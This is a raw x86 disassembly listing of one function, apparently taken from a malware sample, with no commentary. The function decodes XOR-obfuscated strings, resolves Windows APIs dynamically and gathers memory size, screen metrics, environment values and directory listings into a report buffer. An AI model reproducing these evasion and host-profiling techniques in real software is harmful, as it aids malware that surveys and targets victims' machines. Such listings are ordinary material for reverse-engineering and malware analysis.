mov dl, 0x50
mov dword [ebp - 0x70], 0x5001750
mov dword [ebp - 0x6c], 0x363e3970
mov dword [ebp - 0x68], 0x706a3f
xor ecx, ecx
mov dword [ebp - 0x2f4], ecx
cmp ecx, 0xa
jae 0x45fd7d
mov al, byte [ebp + ecx - 0x6f]
xor al, dl
mov byte [ebp + ecx - 0x6f], al
inc ecx
mov dword [ebp - 0x2f4], ecx
mov dl, byte [ebp - 0x70]
jmp 0x45fd62
mov byte [ebp - 0x65], 0
lea eax, [ebp - 0xcc8]
push eax
lea ecx, [ebp - 0x8cc]
call fcn.00403ae8
mov edx, eax
lea ecx, [ebp - 0x6f]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45fd9b
sub ecx, esi
push ecx
lea eax, [ebp - 0x6f]
push eax
push 0
mov ecx, edx
call fcn.004041ae
push eax
lea ecx, [ebp - 0x6c4]
call fcn.00403ab7
push 2
push 0x49d300
lea ecx, [ebp - 0x6c4]
call fcn.00403c55
push eax
lea ecx, [ebp - 0x6ac]
call fcn.00403ab7
lea eax, [ebp - 0x6ac]
push eax
lea ecx, [ebp - 0x1d4]
call fcn.00403a4b
lea ecx, [ebp - 0x6ac]
call fcn.00403b2e
lea ecx, [ebp - 0x6c4]
call fcn.00403b2e
lea ecx, [ebp - 0x8cc]
call fcn.00403b2e
mov dword [ebp - 0x884], 0x40
push 5
pop edx
mov byte [ebp - 0x181], dl
mov dword [ebp - 0x180], 0x6b77604e
mov dword [ebp - 0x17c], 0x37366960
mov dword [ebp - 0x178], 0x6969612b
mov byte [ebp - 0x174], 0
xor ecx, ecx
mov dword [ebp - 0x2f8], ecx
cmp ecx, 0xc
jae 0x45fe73
mov al, byte [ebp + ecx - 0x180]
xor al, dl
mov byte [ebp + ecx - 0x180], al
inc ecx
mov dword [ebp - 0x2f8], ecx
mov dl, byte [ebp - 0x181]
jmp 0x45fe4f
mov byte [ebp - 0x174], 0
lea eax, [ebp - 0x884]
push eax
mov edx, str.GlobalMemoryStatusEx
lea ecx, [ebp - 0x180]
call fcn.004014d2
call eax
mov dl, 0x2a
mov dword [ebp - 0x3b], 0x68670a2a
mov byte [ebp - 0x37], 3
mov byte [ebp - 0x36], bl
mov word [ebp - 0x35], 0x20
xor ecx, ecx
mov dword [ebp - 0x2fc], ecx
cmp ecx, 6
jae 0x45fecc
mov al, byte [ebp + ecx - 0x3a]
xor al, dl
mov byte [ebp + ecx - 0x3a], al
inc ecx
mov dword [ebp - 0x2fc], ecx
mov dl, byte [ebp - 0x3b]
jmp 0x45feb1
mov byte [ebp - 0x34], 0
mov ecx, dword [ebp - 0x87c]
sub ecx, dword [ebp - 0x874]
mov eax, dword [ebp - 0x878]
sbb eax, dword [ebp - 0x870]
shrd ecx, eax, 0x14
shr eax, 0x14
push eax
push ecx
lea ecx, [ebp - 0x73c]
call fcn.00462a61
pop ecx
pop ecx
movaps xmm0, xmmword [0x49dab0]
movups xmmword [ebp - 0x20f], xmm0
mov dword [ebp - 0x1ff], 0x6264315c
mov dword [ebp - 0x1fb], 0x2b747670
mov word [ebp - 0x1f7], 0x31
xor ecx, ecx
mov dword [ebp - 0x300], ecx
cmp ecx, 0x18
jae 0x45ff4d
mov al, byte [ebp + ecx - 0x20e]
xor al, byte [ebp - 0x20f]
mov byte [ebp + ecx - 0x20e], al
inc ecx
jmp 0x45ff2b
mov byte [ebp - 0x1f6], 0
mov edx, dword [ebp - 0x87c]
mov eax, dword [ebp - 0x878]
shrd edx, eax, 0x1e
shr eax, 0x1e
inc edx
lea ecx, [ebp - 0x724]
call fcn.00403cb9
movaps xmm0, xmmword [str.7vZXBYC]
movups xmmword [ebp - 0x3f1], xmm0
mov byte [ebp - 0x3e1], 0
xor ecx, ecx
mov dword [ebp - 0x304], ecx
cmp ecx, 0xf
jae 0x45ffac
mov al, byte [ebp + ecx - 0x3f0]
xor al, byte [ebp - 0x3f1]
mov byte [ebp + ecx - 0x3f0], al
inc ecx
jmp 0x45ff8a
mov byte [ebp - 0x3e1], 0
lea ecx, [ebp - 0x3f0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45ffbc
sub ecx, edx
push ecx
lea eax, [ebp - 0x3f0]
push eax
push 0
lea ecx, [ebp - 0x724]
call fcn.004041ae
push eax
lea ecx, [ebp - 0x70c]
call fcn.00403ab7
lea ecx, [ebp - 0x20e]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45ffef
sub ecx, edx
push ecx
lea eax, [ebp - 0x20e]
push eax
lea ecx, [ebp - 0x70c]
call fcn.00403c55
push eax
lea ecx, [ebp - 0x6f4]
call fcn.00403ab7
lea eax, [ebp - 0x73c]
push eax
lea edx, [ebp - 0x6f4]
lea ecx, [ebp - 0x8e4]
call fcn.00403e20
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3a]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x460038
sub ecx, esi
push ecx
lea eax, [ebp - 0x3a]
push eax
mov ecx, edx
call fcn.00403c55
push eax
lea ecx, [ebp - 0x6dc]
call fcn.00403ab7
lea eax, [ebp - 0x6dc]
push eax
lea ecx, [ebp - 0x1d4]
call fcn.00403a4b
lea ecx, [ebp - 0x6dc]
call fcn.00403b2e
lea ecx, [ebp - 0x8e4]
call fcn.00403b2e
lea ecx, [ebp - 0x6f4]
call fcn.00403b2e
lea ecx, [ebp - 0x70c]
call fcn.00403b2e
lea ecx, [ebp - 0x724]
call fcn.00403b2e
lea ecx, [ebp - 0x73c]
call fcn.00403b2e
mov byte [ebp - 0xc7], bl
mov dword [ebp - 0xc6], 0x55425472
mov dword [ebp - 0xc2], 0x43091514
mov word [ebp - 0xbe], 0x4b4b
mov byte [ebp - 0xbc], 0
xor ecx, ecx
mov dword [ebp - 0x308], ecx
cmp ecx, 0xa
jae 0x460103
mov al, byte [ebp + ecx - 0xc6]
xor al, bl
mov byte [ebp + ecx - 0xc6], al
inc ecx
mov dword [ebp - 0x308], ecx
mov bl, byte [ebp - 0xc7]
jmp 0x4600df
xor ebx, ebx
mov byte [ebp - 0xbc], bl
push 1
mov esi, str.GetSystemMetrics
mov edx, esi
lea ecx, [ebp - 0xc6]
call fcn.004014d2
call eax
mov edx, eax
lea ecx, [ebp - 0x7b4]
call fcn.00403cb9
mov dl, 0x59
mov word [ebp - 0x17], 0x2159
mov byte [ebp - 0x15], bl
mov ecx, ebx
mov dword [ebp - 0x30c], ecx
cmp ecx, 1
jae 0x46015c
mov al, byte [ebp + ecx - 0x16]
xor al, dl
mov byte [ebp + ecx - 0x16], al
inc ecx
mov dword [ebp - 0x30c], ecx
mov dl, byte [ebp - 0x17]
jmp 0x460141
mov byte [ebp - 0x15], bl
mov dl, 0x22
mov dword [ebp - 0x97], 0x47517722
mov dword [ebp - 0x93], 0xc101150
mov dword [ebp - 0x8f], 0x4e4e46
mov ecx, ebx
mov dword [ebp - 0x310], ecx
cmp ecx, 0xa
jae 0x4601ab
mov al, byte [ebp + ecx - 0x96]
xor al, dl
mov byte [ebp + ecx - 0x96], al
inc ecx
mov dword [ebp - 0x310], ecx
mov dl, byte [ebp - 0x97]
jmp 0x460187
mov byte [ebp - 0x8c], bl
push ebx
mov edx, esi
lea ecx, [ebp - 0x96]
call fcn.004014d2
call eax
mov edx, eax
lea ecx, [ebp - 0x79c]
call fcn.00403cb9
movaps xmm0, xmmword [0x49d780]
movups xmmword [ebp - 0x268], xmm0
mov dword [ebp - 0x258], 0x445e0a0b
mov byte [ebp - 0x254], bl
mov ecx, ebx
mov dword [ebp - 0x314], ecx
cmp ecx, 0x13
jae 0x460210
mov al, byte [ebp + ecx - 0x267]
xor al, byte [ebp - 0x268]
mov byte [ebp + ecx - 0x267], al
inc ecx
jmp 0x4601ee
mov byte [ebp - 0x254], bl
lea ecx, [ebp - 0x267]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46021f
sub ecx, edx
push ecx
lea eax, [ebp - 0x267]
push eax
push ebx
lea ecx, [ebp - 0x79c]
call fcn.004041ae
push eax
lea ecx, [ebp - 0x784]
call fcn.00403ab7
lea ecx, [ebp - 0x16]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46024e
sub ecx, edx
push ecx
lea eax, [ebp - 0x16]
push eax
lea ecx, [ebp - 0x784]
call fcn.00403c55
push eax
lea ecx, [ebp - 0x76c]
call fcn.00403ab7
lea eax, [ebp - 0x7b4]
push eax
lea edx, [ebp - 0x76c]
lea ecx, [ebp - 0x8fc]
call fcn.00403e20
pop ecx
push 2
push 0x49d300
mov ecx, eax
call fcn.00403c55
push eax
lea ecx, [ebp - 0x754]
call fcn.00403ab7
lea eax, [ebp - 0x754]
push eax
lea ecx, [ebp - 0x1d4]
call fcn.00403a4b
lea ecx, [ebp - 0x754]
call fcn.00403b2e
lea ecx, [ebp - 0x8fc]
call fcn.00403b2e
lea ecx, [ebp - 0x76c]
call fcn.00403b2e
lea ecx, [ebp - 0x784]
call fcn.00403b2e
lea ecx, [ebp - 0x79c]
call fcn.00403b2e
lea ecx, [ebp - 0x7b4]
call fcn.00403b2e
movaps xmm0, xmmword [str.boh__r]
movups xmmword [ebp - 0x27d], xmm0
mov byte [ebp - 0x26d], 0x11
push 0x58
pop ebx
mov byte [ebp - 0x26c], bl
mov word [ebp - 0x26b], 0x686f
mov byte [ebp - 0x269], 0
xor ecx, ecx
mov dword [ebp - 0x318], ecx
cmp ecx, 0x13
jae 0x46034c
mov al, byte [ebp + ecx - 0x27c]
xor al, byte [ebp - 0x27d]
mov byte [ebp + ecx - 0x27c], al
inc ecx
jmp 0x46032a
mov byte [ebp - 0x269], 0
lea ecx, [ebp - 0x27c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46035c
sub ecx, edx
push ecx
lea eax, [ebp - 0x27c]
push eax
lea ecx, [ebp - 0x1d4]
call fcn.00403c55
push 0x40
pop edx
mov byte [ebp - 0x64], dl
mov dword [ebp - 0x63], 0x151c7a03
mov dword [ebp - 0x5f], 0x33322533
mov byte [ebp - 0x5b], 0
xor ecx, ecx
mov dword [ebp - 0x31c], ecx
cmp ecx, 8
jae 0x4603b3
mov al, byte [ebp + ecx - 0x63]
xor al, dl
mov byte [ebp + ecx - 0x63], al
inc ecx
mov dword [ebp - 0x31c], ecx
mov dl, byte [ebp - 0x64]
jmp 0x460398
mov byte [ebp - 0x5b], 0
lea eax, [ebp - 0x63]
push eax
lea ecx, [ebp - 0x544]
call fcn.00403ae8
mov byte [ebp - 0x12d], bl
mov dword [ebp - 0x12c], 0x2c2b210b
mov dword [ebp - 0x128], 0x2a1c353d
mov dword [ebp - 0x124], 0x3d2e31
xor ecx, ecx
mov dword [ebp - 0x320], ecx
cmp ecx, 0xb
jae 0x460416
mov al, byte [ebp + ecx - 0x12c]
xor al, bl
mov byte [ebp + ecx - 0x12c], al
inc ecx
mov dword [ebp - 0x320], ecx
mov bl, byte [ebp - 0x12d]
jmp 0x4603f2
xor ebx, ebx
mov byte [ebp - 0x121], bl
lea eax, [ebp - 0x12c]
push eax
call fcn.0046e9c4
pop ecx
test eax, eax
je 0x460534
push 0x7e
pop edx
mov byte [ebp - 0x33], dl
mov dword [ebp - 0x32], 0x1b0d2b22
mov word [ebp - 0x2e], 0xd0c
mov byte [ebp - 0x2c], bl
mov ecx, ebx
mov dword [ebp - 0x324], ecx
push 6
pop ebx
cmp ecx, ebx
jae 0x46046e
mov al, byte [ebp + ecx - 0x32]
xor al, dl
mov byte [ebp + ecx - 0x32], al
inc ecx
mov dword [ebp - 0x324], ecx
mov dl, byte [ebp - 0x33]
jmp 0x460454
mov byte [ebp - 0x2c], 0
mov byte [ebp - 0x113], bl
mov dword [ebp - 0x112], 0x72757f55
mov dword [ebp - 0x10e], 0x74426b63
mov dword [ebp - 0x10a], 0x63706f
xor ecx, ecx
mov dword [ebp - 0x328], ecx
cmp ecx, 0xb
jae 0x4604c2
mov al, byte [ebp + ecx - 0x112]
xor al, bl
mov byte [ebp + ecx - 0x112], al
inc ecx
mov dword [ebp - 0x328], ecx
mov bl, byte [ebp - 0x113]
jmp 0x46049e
xor ebx, ebx
mov byte [ebp - 0x107], bl
lea eax, [ebp - 0x112]
push eax
call fcn.0046e9c4
pop ecx
push eax
lea ecx, [ebp - 0x914]
call fcn.00403ae8
mov edx, eax
lea ecx, [ebp - 0x32]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4604eb
sub ecx, esi
push ecx
lea eax, [ebp - 0x32]
push eax
mov ecx, edx
call fcn.00403c55
push eax
lea ecx, [ebp - 0x7cc]
call fcn.00403ab7
lea eax, [ebp - 0x7cc]
push eax
lea ecx, [ebp - 0x544]
call fcn.00403a82
lea ecx, [ebp - 0x7cc]
call fcn.00403b2e
lea ecx, [ebp - 0x914]
call fcn.00403b2e
push 0x73
pop edx
mov byte [ebp - 0x1b], dl
mov word [ebp - 0x1a], 0x592f
mov byte [ebp - 0x18], bl
mov ecx, ebx
mov dword [ebp - 0x32c], ecx
cmp ecx, 2
jae 0x460566
mov al, byte [ebp + ecx - 0x1a]
xor al, dl
mov byte [ebp + ecx - 0x1a], al
inc ecx
mov dword [ebp - 0x32c], ecx
mov dl, byte [ebp - 0x1b]
jmp 0x46054b
mov byte [ebp - 0x18], bl
lea eax, [ebp - 0x1a]
push eax
lea edx, [ebp - 0x544]
lea ecx, [ebp - 0x92c]
call fcn.00403d39
pop ecx
mov ecx, eax
call fcn.004039e7
mov edx, eax
push 0x29
pop ebx
mov byte [ebp - 0x18f], bl
mov dword [ebp - 0x18e], 0x475b4c62
mov dword [ebp - 0x18a], 0x1b1a454c
mov dword [ebp - 0x186], 0x45454d07
mov byte [ebp - 0x182], 0
xor ecx, ecx
mov dword [ebp - 0x330], ecx
cmp ecx, 0xc
jae 0x4605e2
mov al, byte [ebp + ecx - 0x18e]
xor al, bl
mov byte [ebp + ecx - 0x18e], al
inc ecx
mov dword [ebp - 0x330], ecx
mov bl, byte [ebp - 0x18f]
jmp 0x4605be
xor ebx, ebx
mov byte [ebp - 0x182], bl
lea eax, [ebp - 0xb44]
push eax
push edx
mov edx, str.FindFirstFileA
lea ecx, [ebp - 0x18e]
call fcn.004014d2
call eax
mov esi, eax
lea ecx, [ebp - 0x92c]
call fcn.00403b2e
cmp esi, 0xffffffff
je 0x460715
test byte [ebp - 0xb44], 0x10
je 0x460696
lea eax, [ebp - 0xb18]
push eax
lea ecx, [ebp - 0x52c]
call fcn.00403ae8
push 0x494144
lea ecx, [ebp - 0x52c]
call fcn.0040412c
test al, al
jne 0x46068b
push 0x494148
lea ecx, [ebp - 0x52c]
call fcn.0040412c
test al, al
jne 0x46068b
push 0x49d300
lea edx, [ebp - 0x52c]
lea ecx, [ebp - 0x944]
call fcn.00403d39
pop ecx
push eax
lea ecx, [ebp - 0x1d4]
call fcn.00403a4b
lea ecx, [ebp - 0x944]
call fcn.00403b2e
lea ecx, [ebp - 0x52c]
call fcn.00403b2e
mov dl, 0x3f
mov dword [ebp - 0x19d], 0x4d5a743f
mov dword [ebp - 0x199], 0xc535a51
mov dword [ebp - 0x195], 0x535b110d
mov word [ebp - 0x191], 0x53
mov ecx, ebx
mov dword [ebp - 0x334], ecx
cmp ecx, 0xc
jae 0x4606eb
mov al, byte [ebp + ecx - 0x19c]
xor al, dl
mov byte [ebp + ecx - 0x19c], al
inc ecx
mov dword [ebp - 0x334], ecx
mov dl, byte [ebp - 0x19d]
jmp 0x4606c7
mov byte [ebp - 0x190], bl
lea eax, [ebp - 0xb44]
push eax
push esi
mov edx, 0x4940d0
lea ecx, [ebp - 0x19c]
call fcn.004014d2
call eax
test eax, eax
jne 0x46061a
jmp 0x460778
movaps xmm0, xmmword [0x49db60]
movups xmmword [ebp - 0x402], xmm0
mov byte [ebp - 0x3f2], bl
mov ecx, ebx
mov dword [ebp - 0x338], ecx
cmp ecx, 0xf
jae 0x46074d
mov al, byte [ebp + ecx - 0x401]
xor al, byte [ebp - 0x402]
mov byte [ebp + ecx - 0x401], al
inc ecx
jmp 0x46072b
mov byte [ebp - 0x3f2], bl
lea ecx, [ebp - 0x401]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46075c
sub ecx, edx
push ecx
lea eax, [ebp - 0x401]
push eax
lea ecx, [ebp - 0x1d4]
call fcn.00403c55
push 0x54
pop edx
mov byte [ebp - 0x1ab], dl
mov dword [ebp - 0x1aa], 0x3a26311f
mov dword [ebp - 0x1a6], 0x66673831
mov dword [ebp - 0x1a2], 0x3838307a
mov byte [ebp - 0x19e], bl
mov ecx, ebx
mov dword [ebp - 0x33c], ecx
cmp ecx, 0xc
jae 0x4607d1
mov al, byte [ebp + ecx - 0x1aa]
xor al, dl
mov byte [ebp + ecx - 0x1aa], al
inc ecx
mov dword [ebp - 0x33c], ecx
mov dl, byte [ebp - 0x1ab]
jmp 0x4607ad
mov byte [ebp - 0x19e], bl
push esi
mov edx, 0x4940e0
lea ecx, [ebp - 0x1aa]
call fcn.004014d2
call eax
movaps xmm0, xmmword [0x49da30]
movups xmmword [ebp - 0x1f5], xmm0
mov dword [ebp - 0x1e5], 0x4a554841
mov dword [ebp - 0x1e1], 0x484e5346
mov dword [ebp - 0x1dd], 0x2d2a1d49
mov byte [ebp - 0x1d9], bl
mov ecx, ebx
mov dword [ebp - 0x340], ecx
cmp ecx, 0x1b
jae 0x460840
mov al, byte [ebp + ecx - 0x1f4]
xor al, byte [ebp - 0x1f5]
mov byte [ebp + ecx - 0x1f4], al
inc ecx
jmp 0x46081e
mov byte [ebp - 0x1d9], bl
lea ecx, [ebp - 0x1f4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46084f
sub ecx, edx
push ecx
lea eax, [ebp - 0x1f4]
push eax
lea ecx, [ebp - 0x1d4]
call fcn.00403c55
movaps xmm0, xmmword [0x49d690]
movups xmmword [ebp - 0x440], xmm0
mov ecx, ebx
mov dword [ebp - 0x344], ecx
cmp ecx, 0xe
jae 0x46089d
mov al, byte [ebp + ecx - 0x43f]
xor al, byte [ebp - 0x440]
mov byte [ebp + ecx - 0x43f], al
inc ecx
jmp 0x46087b
mov byte [ebp - 0x431], bl
push str.Aug_31_2018
lea ecx, [ebp - 0x95c]
call fcn.00403ae8
mov edx, eax
lea ecx, [ebp - 0x43f]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4608be
sub ecx, esi
push ecx
lea eax, [ebp - 0x43f]
push eax
push ebx
mov ecx, edx
call fcn.004041ae
push eax
lea ecx, [ebp - 0x7fc]
call fcn.00403ab7
push 2
push 0x49d300
lea ecx, [ebp - 0x7fc]
call fcn.00403c55
push eax
lea ecx, [ebp - 0x7e4]
call fcn.00403ab7
lea eax, [ebp - 0x7e4]
push eax
lea ecx, [ebp - 0x1d4]
call fcn.00403a4b
lea ecx, [ebp - 0x7e4]
call fcn.00403a7d
lea ecx, [ebp - 0x7fc]
call fcn.00403a7d
lea ecx, [ebp - 0x95c]
call fcn.00403a7d
push dword [ebp + 0xc]
lea ecx, [ebp - 0x82c]
call fcn.004014ed
mov edx, eax
lea ecx, [ebp - 0x824]
call fcn.00462b3a
pop ecx
push eax
lea ecx, [ebp - 0x81c]
call fcn.00462b55
movsd xmm1, qword [eax]
lea ecx, [ebp - 0x514]
call fcn.00457bd4
push ebx
mov esi, 0x496990
push esi
lea ecx, [ebp - 0x514]
call fcn.00403966
cmp eax, 0xffffffff
je 0x46099e
push ebx
push esi
lea ecx, [ebp - 0x514]
call fcn.00403966
push eax
lea ecx, [ebp - 0x514]
call fcn.004039f2
mov byte [eax], 0x2e
movaps xmm0, xmmword [str.Zz__954_r_sWPWP]
movups xmmword [ebp - 0x471], xmm0
mov ecx, ebx
mov dword [ebp - 0x348], ecx
cmp ecx, 0xe
jae 0x4609d0
mov al, byte [ebp + ecx - 0x470]
xor al, byte [ebp - 0x471]
mov byte [ebp + ecx - 0x470], al
inc ecx
jmp 0x4609ae
mov byte [ebp - 0x462], bl
movaps xmm0, xmmword [str._xM__VQX]
movups xmmword [ebp - 0x451], xmm0
mov byte [ebp - 0x441], bl
mov ecx, ebx
mov dword [ebp - 0x34c], ecx
cmp ecx, 0xf
jae 0x460a0e
mov al, byte [ebp + ecx - 0x450]
xor al, byte [ebp - 0x451]
mov byte [ebp + ecx - 0x450], al
inc ecx
jmp 0x4609ec
mov byte [ebp - 0x441], bl
lea eax, [ebp - 0x470]
push eax
lea eax, [ebp - 0x514]
push eax
lea edx, [ebp - 0x450]
lea ecx, [ebp - 0x98c]
call fcn.00462a8c
pop ecx
mov edx, eax
lea ecx, [ebp - 0x974]
call fcn.00403d96
pop ecx
push eax
lea ecx, [ebp - 0x1d4]
call fcn.00403a2e
lea ecx, [ebp - 0x974]
call fcn.00403a7d
lea ecx, [ebp - 0x98c]
call fcn.00403a7d
push 0x49d304
lea ecx, [ebp - 0x814]
call fcn.00403ae8
lea eax, [ebp - 0x814]
push eax
lea eax, [ebp - 0x1d4]
push eax
push dword [ebp + 8]
mov ecx, edi
call fcn.00457e1a
lea ecx, [ebp - 0x814]
call fcn.00403a7d
lea ecx, [ebp - 0x514]
call fcn.00403a7d
lea ecx, [ebp - 0x544]
call fcn.00403a7d
lea ecx, [ebp - 0x4cc]
call fcn.00403a7d
lea ecx, [ebp - 0x55c]
call fcn.00403a7d
lea ecx, [ebp - 0x48c]
call fcn.00403a7d
lea ecx, [ebp - 0x4e4]
call fcn.00403a7d
lea ecx, [ebp - 0x1d4]
call fcn.00403a7d
wait
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 8